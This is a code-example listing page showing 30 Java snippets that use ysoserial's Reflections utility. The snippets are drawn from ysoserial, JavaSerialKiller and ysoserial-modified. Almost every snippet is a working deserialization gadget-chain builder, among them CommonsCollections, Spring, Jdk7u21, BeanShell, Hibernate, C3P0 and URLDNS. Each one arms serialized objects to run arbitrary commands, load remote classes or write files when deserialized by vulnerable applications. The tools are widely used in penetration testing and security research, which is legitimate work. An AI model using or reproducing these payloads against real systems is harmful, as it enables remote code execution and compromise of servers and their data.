ysoserial.payloads.util.Reflections Java Examples

The following examples show how to use ysoserial.payloads.util.Reflections. You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may check out the related API usage on the sidebar.
Example #1
Source File: MyfacesTest.java    From ysoserial with MIT License 6 votes vote down vote up
@Override
public Object call () throws Exception {
    java.lang.reflect.Method setFC = FacesContext.class.getDeclaredMethod("setCurrentInstance", FacesContext.class);
    Reflections.setAccessible(setFC);
    ClassLoader oldTCCL = Thread.currentThread().getContextClassLoader();
    Thread.currentThread().setContextClassLoader(this.getClass().getClassLoader());
    FacesContext ctx = createMockFacesContext();
    try {
        setFC.invoke(null, ctx);
        return super.call();
    }
    finally {
        setFC.invoke(null, (FacesContext) null);
        Thread.currentThread().setContextClassLoader(oldTCCL);
    }
}
 
Example #2
Source File: CommonsCollections2.java    From ysoserial with MIT License 6 votes vote down vote up
public Queue<Object> getObject(final String command) throws Exception {
	final Object templates = Gadgets.createTemplatesImpl(command);
	// mock method name until armed
	final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

	// create queue with numbers and basic comparator
	final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
	// stub data for replacement later
	queue.add(1);
	queue.add(1);

	// switch method called by comparator
	Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

	// switch contents of queue
	final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
	queueArray[0] = templates;
	queueArray[1] = 1;

	return queue;
}
 
Example #3
Source File: Spring1.java    From ysoserial with MIT License 6 votes vote down vote up
public Object getObject(final String command) throws Exception {
	final Object templates = Gadgets.createTemplatesImpl(command);

	final ObjectFactory objectFactoryProxy =
			Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class);

	final Type typeTemplatesProxy = Gadgets.createProxy((InvocationHandler)
			Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler")
				.newInstance(objectFactoryProxy), Type.class, Templates.class);

	final Object typeProviderProxy = Gadgets.createMemoitizedProxy(
			Gadgets.createMap("getType", typeTemplatesProxy),
			forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));

	final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
	final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass", new Class[] {}), 0);
	Reflections.setFieldValue(mitp, "methodName", "newTransformer");

	return mitp;
}
 
Example #4
Source File: CommonsBeanutilsCollectionsLogging1.java    From JavaSerialKiller with MIT License 6 votes vote down vote up
public Object getObject(final String command) throws Exception {
	final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);
	// mock method name until armed
	final BeanComparator comparator = new BeanComparator("lowestSetBit");

	// create queue with numbers and basic comparator
	final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
	// stub data for replacement later
	queue.add(new BigInteger("1"));
	queue.add(new BigInteger("1"));

	// switch method called by comparator
	Reflections.setFieldValue(comparator, "property", "outputProperties");

	// switch contents of queue
	final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
	queueArray[0] = templates;
	queueArray[1] = templates;

	return queue;
}
 
Example #5
Source File: Jdk7u21.java    From JavaSerialKiller with MIT License 6 votes vote down vote up
public Object getObject(final String command) throws Exception {
	final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);

	String zeroHashCodeStr = "f5a5a608";

	HashMap map = new HashMap();
	map.put(zeroHashCodeStr, "foo");

	InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
	Reflections.setFieldValue(tempHandler, "type", Templates.class);
	Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);

	LinkedHashSet set = new LinkedHashSet(); // maintain order
	set.add(templates);
	set.add(proxy);

	Reflections.setFieldValue(templates, "_auxClasses", null);
	Reflections.setFieldValue(templates, "_class", null);

	map.put(zeroHashCodeStr, templates); // swap in real object

	return set;
}
 
Example #6
Source File: CommonsCollections3.java    From JavaSerialKiller with MIT License 6 votes vote down vote up
public Object getObject(final String command) throws Exception {
	TemplatesImpl templatesImpl = Gadgets.createTemplatesImpl(command);

	// inert chain for setup
	final Transformer transformerChain = new ChainedTransformer(
		new Transformer[]{ new ConstantTransformer(1) });
	// real chain for after setup
	final Transformer[] transformers = new Transformer[] {
			new ConstantTransformer(TrAXFilter.class),
			new InstantiateTransformer(
					new Class[] { Templates.class },
					new Object[] { templatesImpl } )};

	final Map innerMap = new HashMap();

	final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

	final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

	final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

	Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

	return handler;
}
 
Example #7
Source File: BeanShell1.java    From JavaSerialKiller with MIT License 6 votes vote down vote up
public PriorityQueue getObject(String command) throws Exception {
// BeanShell payload
String payload = "compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{\"" + command + "\"}).start();return new Integer(1);}";

// Create Interpreter
Interpreter i = new Interpreter();

// Evaluate payload
i.eval(payload);

// Create InvocationHandler
XThis xt = new XThis(i.getNameSpace(), i);
InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt);

// Create Comparator Proxy
Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);

// Prepare Trigger Gadget (will call Comparator.compare() during deserialization)
final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
Object[] queue = new Object[] {1,1};
Reflections.setFieldValue(priorityQueue, "queue", queue);
Reflections.setFieldValue(priorityQueue, "size", 2);

return priorityQueue;
   }
 
Example #8
Source File: Spring1.java    From JavaSerialKiller with MIT License 6 votes vote down vote up
public Object getObject(final String command) throws Exception {
	final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);
	
	final ObjectFactory objectFactoryProxy = 
			Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class);
	
	final Type typeTemplatesProxy = Gadgets.createProxy((InvocationHandler) 
			Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler")
				.newInstance(objectFactoryProxy), Type.class, Templates.class);
	
	final Object typeProviderProxy = Gadgets.createMemoitizedProxy(
			Gadgets.createMap("getType", typeTemplatesProxy), 
			forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));
	
	final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
	final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass", new Class[] {}), 0);
	Reflections.setFieldValue(mitp, "methodName", "newTransformer");

	return mitp;
}
 
Example #9
Source File: CommonsCollections2.java    From JavaSerialKiller with MIT License 6 votes vote down vote up
public Queue<Object> getObject(final String command) throws Exception {
	final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);
	// mock method name until armed
	final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

	// create queue with numbers and basic comparator
	final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
	// stub data for replacement later
	queue.add(1);
	queue.add(1);

	// switch method called by comparator
	Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

	// switch contents of queue
	final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
	queueArray[0] = templates;
	queueArray[1] = 1;

	return queue;
}
 
Example #10
Source File: CommonsCollections3.java    From ysoserial with MIT License 6 votes vote down vote up
public Object getObject(final String command) throws Exception {
	Object templatesImpl = Gadgets.createTemplatesImpl(command);

	// inert chain for setup
	final Transformer transformerChain = new ChainedTransformer(
		new Transformer[]{ new ConstantTransformer(1) });
	// real chain for after setup
	final Transformer[] transformers = new Transformer[] {
			new ConstantTransformer(TrAXFilter.class),
			new InstantiateTransformer(
					new Class[] { Templates.class },
					new Object[] { templatesImpl } )};

	final Map innerMap = new HashMap();

	final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

	final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

	final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

	Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

	return handler;
}
 
Example #11
Source File: Hibernate1.java    From ysoserial-modified with MIT License 6 votes vote down vote up
static Object makeCaller ( Object tpl, Object getters ) throws NoSuchMethodException, InstantiationException, IllegalAccessException,
        InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException {
    PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class);
    Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters);

    ComponentType t = Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]);
    Reflections.setFieldValue(t, "componentTuplizer", tup);
    Reflections.setFieldValue(t, "propertySpan", 1);
    Reflections.setFieldValue(t, "propertyTypes", new Type[] {
        t
    });

    TypedValue v1 = new TypedValue(t, null);
    Reflections.setFieldValue(v1, "value", tpl);
    Reflections.setFieldValue(v1, "type", t);

    TypedValue v2 = new TypedValue(t, null);
    Reflections.setFieldValue(v2, "value", tpl);
    Reflections.setFieldValue(v2, "type", t);

    return Gadgets.makeMap(v1, v2);
}
 
Example #12
Source File: Jdk7u21.java    From ysoserial-modified with MIT License 6 votes vote down vote up
public Object getObject(CmdExecuteHelper cmdHelper) throws Exception {
	final Object templates = Gadgets.createTemplatesImpl(cmdHelper.getCommandArray());

	String zeroHashCodeStr = "f5a5a608";

	HashMap map = new HashMap();
	map.put(zeroHashCodeStr, "foo");

	InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
	Reflections.setFieldValue(tempHandler, "type", Templates.class);
	Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);

	LinkedHashSet set = new LinkedHashSet(); // maintain order
	set.add(templates);
	set.add(proxy);

	Reflections.setFieldValue(templates, "_auxClasses", null);
	Reflections.setFieldValue(templates, "_class", null);

	map.put(zeroHashCodeStr, templates); // swap in real object

	return set;
}
 
Example #13
Source File: CommonsBeanutils1.java    From ysoserial-modified with MIT License 6 votes vote down vote up
public Object getObject(CmdExecuteHelper cmdHelper) throws Exception {
  
	final Object templates = Gadgets.createTemplatesImpl(cmdHelper.getCommandArray());
	// mock method name until armed
	final BeanComparator comparator = new BeanComparator("lowestSetBit");

	// create queue with numbers and basic comparator
	final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
	// stub data for replacement later
	queue.add(new BigInteger("1"));
	queue.add(new BigInteger("1"));

	// switch method called by comparator
	Reflections.setFieldValue(comparator, "property", "outputProperties");

	// switch contents of queue
	final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
	queueArray[0] = templates;
	queueArray[1] = templates;

	return queue;
}
 
Example #14
Source File: Spring2.java    From ysoserial-modified with MIT License 6 votes vote down vote up
public Object getObject ( CmdExecuteHelper cmdHelper ) throws Exception {
    final Object templates = Gadgets.createTemplatesImpl(cmdHelper.getCommandArray());

    AdvisedSupport as = new AdvisedSupport();
    as.setTargetSource(new SingletonTargetSource(templates));

    final Type typeTemplatesProxy = Gadgets.createProxy(
        (InvocationHandler) Reflections.getFirstCtor("org.springframework.aop.framework.JdkDynamicAopProxy").newInstance(as),
        Type.class,
        Templates.class);

    final Object typeProviderProxy = Gadgets.createMemoitizedProxy(
        Gadgets.createMap("getType", typeTemplatesProxy),
        forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));

    Object mitp = Reflections.createWithoutConstructor(forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider"));
    Reflections.setFieldValue(mitp, "provider", typeProviderProxy);
    Reflections.setFieldValue(mitp, "methodName", "newTransformer");
    return mitp;
}
 
Example #15
Source File: C3P0.java    From ysoserial-modified with MIT License 6 votes vote down vote up
public Object getObject ( CmdExecuteHelper cmdHelper ) throws Exception {
	
	String command = cmdHelper.getCommand();
    int sep = command.lastIndexOf(':');
    if ( sep < 0 ) {
        throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
    }

    
    String url = command.substring(0, sep);
    String className = command.substring(sep + 1);
    
    PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
    Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));
    return b;
}
 
Example #16
Source File: CommonsCollections3.java    From ysoserial-modified with MIT License 6 votes vote down vote up
public Object getObject(CmdExecuteHelper cmdHelper) throws Exception {
    
	Object templatesImpl = Gadgets.createTemplatesImpl(cmdHelper.getCommandArray());

	// inert chain for setup
	final Transformer transformerChain = new ChainedTransformer(
		new Transformer[]{ new ConstantTransformer(1) });
	// real chain for after setup
	final Transformer[] transformers = new Transformer[] {
			new ConstantTransformer(TrAXFilter.class),
			new InstantiateTransformer(
					new Class[] { Templates.class },
					new Object[] { templatesImpl } )};

	final Map innerMap = new HashMap();

	final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

	final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

	final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

	Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

	return handler;
}
 
Example #17
Source File: Spring2.java    From ysoserial with MIT License 6 votes vote down vote up
public Object getObject ( final String command ) throws Exception {
    final Object templates = Gadgets.createTemplatesImpl(command);

    AdvisedSupport as = new AdvisedSupport();
    as.setTargetSource(new SingletonTargetSource(templates));

    final Type typeTemplatesProxy = Gadgets.createProxy(
        (InvocationHandler) Reflections.getFirstCtor("org.springframework.aop.framework.JdkDynamicAopProxy").newInstance(as),
        Type.class,
        Templates.class);

    final Object typeProviderProxy = Gadgets.createMemoitizedProxy(
        Gadgets.createMap("getType", typeTemplatesProxy),
        forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));

    Object mitp = Reflections.createWithoutConstructor(forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider"));
    Reflections.setFieldValue(mitp, "provider", typeProviderProxy);
    Reflections.setFieldValue(mitp, "methodName", "newTransformer");
    return mitp;
}
 
Example #18
Source File: CommonsBeanutils1.java    From ysoserial with MIT License 6 votes vote down vote up
public Object getObject(final String command) throws Exception {
	final Object templates = Gadgets.createTemplatesImpl(command);
	// mock method name until armed
	final BeanComparator comparator = new BeanComparator("lowestSetBit");

	// create queue with numbers and basic comparator
	final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
	// stub data for replacement later
	queue.add(new BigInteger("1"));
	queue.add(new BigInteger("1"));

	// switch method called by comparator
	Reflections.setFieldValue(comparator, "property", "outputProperties");

	// switch contents of queue
	final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
	queueArray[0] = templates;
	queueArray[1] = templates;

	return queue;
}
 
Example #19
Source File: Spring1.java    From ysoserial-modified with MIT License 6 votes vote down vote up
public Object getObject(CmdExecuteHelper cmdHelper) throws Exception {
	final Object templates = Gadgets.createTemplatesImpl(cmdHelper.getCommandArray());
	
	final ObjectFactory objectFactoryProxy = 
			Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class);
	
	final Type typeTemplatesProxy = Gadgets.createProxy((InvocationHandler) 
			Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler")
				.newInstance(objectFactoryProxy), Type.class, Templates.class);
	
	final Object typeProviderProxy = Gadgets.createMemoitizedProxy(
			Gadgets.createMap("getType", typeTemplatesProxy), 
			forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));
	
	final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
	final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass", new Class[] {}), 0);
	Reflections.setFieldValue(mitp, "methodName", "newTransformer");

	return mitp;
}
 
Example #20
Source File: CommonsCollections2.java    From ysoserial-modified with MIT License 6 votes vote down vote up
public Queue<Object> getObject(CmdExecuteHelper cmdHelper) throws Exception {
    
    
	final Object templates = Gadgets.createTemplatesImpl(cmdHelper.getCommandArray());
	// mock method name until armed
	final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

	// create queue with numbers and basic comparator
	final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
	// stub data for replacement later
	queue.add(1);
	queue.add(1);

	// switch method called by comparator
	Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

	// switch contents of queue
	final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
	queueArray[0] = templates;
	queueArray[1] = 1;

	return queue;
}
 
Example #21
Source File: Jdk7u21.java    From ysoserial with MIT License 6 votes vote down vote up
public Object getObject(final String command) throws Exception {
	final Object templates = Gadgets.createTemplatesImpl(command);

	String zeroHashCodeStr = "f5a5a608";

	HashMap map = new HashMap();
	map.put(zeroHashCodeStr, "foo");

	InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
	Reflections.setFieldValue(tempHandler, "type", Templates.class);
	Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);

	LinkedHashSet set = new LinkedHashSet(); // maintain order
	set.add(templates);
	set.add(proxy);

	Reflections.setFieldValue(templates, "_auxClasses", null);
	Reflections.setFieldValue(templates, "_class", null);

	map.put(zeroHashCodeStr, templates); // swap in real object

	return set;
}
 
Example #22
Source File: Hibernate1.java    From ysoserial with MIT License 6 votes vote down vote up
public static Object makeHibernate4Getter ( Class<?> tplClass, String method ) throws ClassNotFoundException, NoSuchMethodException,
        SecurityException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException {
    Class<?> getterIf = Class.forName("org.hibernate.property.Getter");
    Class<?> basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");
    Constructor<?> bgCon = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);
    Reflections.setAccessible(bgCon);

    if ( !method.startsWith("get") ) {
        throw new IllegalArgumentException("Hibernate4 can only call getters");
    }

    String propName = Character.toLowerCase(method.charAt(3)) + method.substring(4);

    Object g = bgCon.newInstance(tplClass, tplClass.getDeclaredMethod(method), propName);
    Object arr = Array.newInstance(getterIf, 1);
    Array.set(arr, 0, g);
    return arr;
}
 
Example #23
Source File: Hibernate1.java    From ysoserial with MIT License 6 votes vote down vote up
static Object makeHibernate45Caller ( Object tpl, Object getters ) throws NoSuchMethodException, InstantiationException, IllegalAccessException,
        InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException {
    PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class);
    Reflections.getField(AbstractComponentTuplizer.class, "getters").set(tup, getters);

    ComponentType t = Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]);
    Reflections.setFieldValue(t, "componentTuplizer", tup);
    Reflections.setFieldValue(t, "propertySpan", 1);
    Reflections.setFieldValue(t, "propertyTypes", new Type[] {
        t
    });

    TypedValue v1 = new TypedValue(t, null);
    Reflections.setFieldValue(v1, "value", tpl);
    Reflections.setFieldValue(v1, "type", t);

    TypedValue v2 = new TypedValue(t, null);
    Reflections.setFieldValue(v2, "value", tpl);
    Reflections.setFieldValue(v2, "type", t);

    return Gadgets.makeMap(v1, v2);
}
 
Example #24
Source File: Wicket1.java    From ysoserial with MIT License 5 votes vote down vote up
private static DiskFileItem makePayload(int thresh, String repoPath, String filePath, byte[] data) throws IOException, Exception {
    // if thresh < written length, delete outputFile after copying to repository temp file
    // otherwise write the contents to repository temp file
    File repository = new File(repoPath);
    DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository, null);
    File outputFile = new File(filePath);
    DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile);
    OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream");
    os.write(data);
    Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length);
    Reflections.setFieldValue(diskFileItem, "dfos", dfos);
    Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0);
    return diskFileItem;
}
 
Example #25
Source File: JRMPListener.java    From ysoserial with MIT License 5 votes vote down vote up
public UnicastRemoteObject getObject ( final String command ) throws Exception {
    int jrmpPort = Integer.parseInt(command);
    UnicastRemoteObject uro = Reflections.createWithConstructor(ActivationGroupImpl.class, RemoteObject.class, new Class[] {
        RemoteRef.class
    }, new Object[] {
        new UnicastServerRef(jrmpPort)
    });

    Reflections.getField(UnicastRemoteObject.class, "port").set(uro, jrmpPort);
    return uro;
}
 
Example #26
Source File: Myfaces1.java    From ysoserial with MIT License 5 votes vote down vote up
public static Object makeExpressionPayload ( String expr ) throws IllegalArgumentException, IllegalAccessException, Exception  {
    FacesContextImpl fc = new FacesContextImpl((ServletContext) null, (ServletRequest) null, (ServletResponse) null);
    ELContext elContext = new FacesELContext(new CompositeELResolver(), fc);
    Reflections.getField(FacesContextImplBase.class, "_elContext").set(fc, elContext);
    ExpressionFactory expressionFactory = ExpressionFactory.newInstance();

    ValueExpression ve1 = expressionFactory.createValueExpression(elContext, expr, Object.class);
    ValueExpressionMethodExpression e = new ValueExpressionMethodExpression(ve1);
    ValueExpression ve2 = expressionFactory.createValueExpression(elContext, "${true}", Object.class);
    ValueExpressionMethodExpression e2 = new ValueExpressionMethodExpression(ve2);

    return Gadgets.makeMap(e2, e);
}
 
Example #27
Source File: CommonsCollections4.java    From ysoserial with MIT License 5 votes vote down vote up
public Queue<Object> getObject(final String command) throws Exception {
	Object templates = Gadgets.createTemplatesImpl(command);

	ConstantTransformer constant = new ConstantTransformer(String.class);

	// mock method name until armed
	Class[] paramTypes = new Class[] { String.class };
	Object[] args = new Object[] { "foo" };
	InstantiateTransformer instantiate = new InstantiateTransformer(
			paramTypes, args);

	// grab defensively copied arrays
	paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
	args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");

	ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });

	// create queue with numbers
	PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
	queue.add(1);
	queue.add(1);

	// swap in values to arm
	Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
	paramTypes[0] = Templates.class;
	args[0] = templates;

	return queue;
}
 
Example #28
Source File: JBoss.java    From ysoserial with MIT License 5 votes vote down vote up
private static VersionedConnection makeVersionedConnection ( Channel c )
        throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, MalformedURLException {
    VersionedConnection vc;
    Class<?> vcf = Class.forName("org.jboss.remotingjmx.VersionedConectionFactory");
    Method vcCreate = vcf.getDeclaredMethod("createVersionedConnection", Channel.class, Map.class, JMXServiceURL.class);
    Reflections.setAccessible(vcCreate);
    vc = (VersionedConnection) vcCreate.invoke(null, c, new HashMap(), new JMXServiceURL("service:jmx:remoting-jmx://"));
    return vc;
}
 
Example #29
Source File: URLDNS.java    From ysoserial with MIT License 5 votes vote down vote up
public Object getObject(final String url) throws Exception {

                //Avoid DNS resolution during payload creation
                //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
                URLStreamHandler handler = new SilentURLStreamHandler();

                HashMap ht = new HashMap(); // HashMap that will contain the URL
                URL u = new URL(null, url, handler); // URL to use as the Key
                ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

                Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

                return ht;
        }
 
Example #30
Source File: CommonsCollections1.java    From ysoserial with MIT License 5 votes vote down vote up
public InvocationHandler getObject(final String command) throws Exception {
	final String[] execArgs = new String[] { command };
	// inert chain for setup
	final Transformer transformerChain = new ChainedTransformer(
		new Transformer[]{ new ConstantTransformer(1) });
	// real chain for after setup
	final Transformer[] transformers = new Transformer[] {
			new ConstantTransformer(Runtime.class),
			new InvokerTransformer("getMethod", new Class[] {
				String.class, Class[].class }, new Object[] {
				"getRuntime", new Class[0] }),
			new InvokerTransformer("invoke", new Class[] {
				Object.class, Object[].class }, new Object[] {
				null, new Object[0] }),
			new InvokerTransformer("exec",
				new Class[] { String.class }, execArgs),
			new ConstantTransformer(1) };

	final Map innerMap = new HashMap();

	final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

	final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

	final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

	Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

	return handler;
}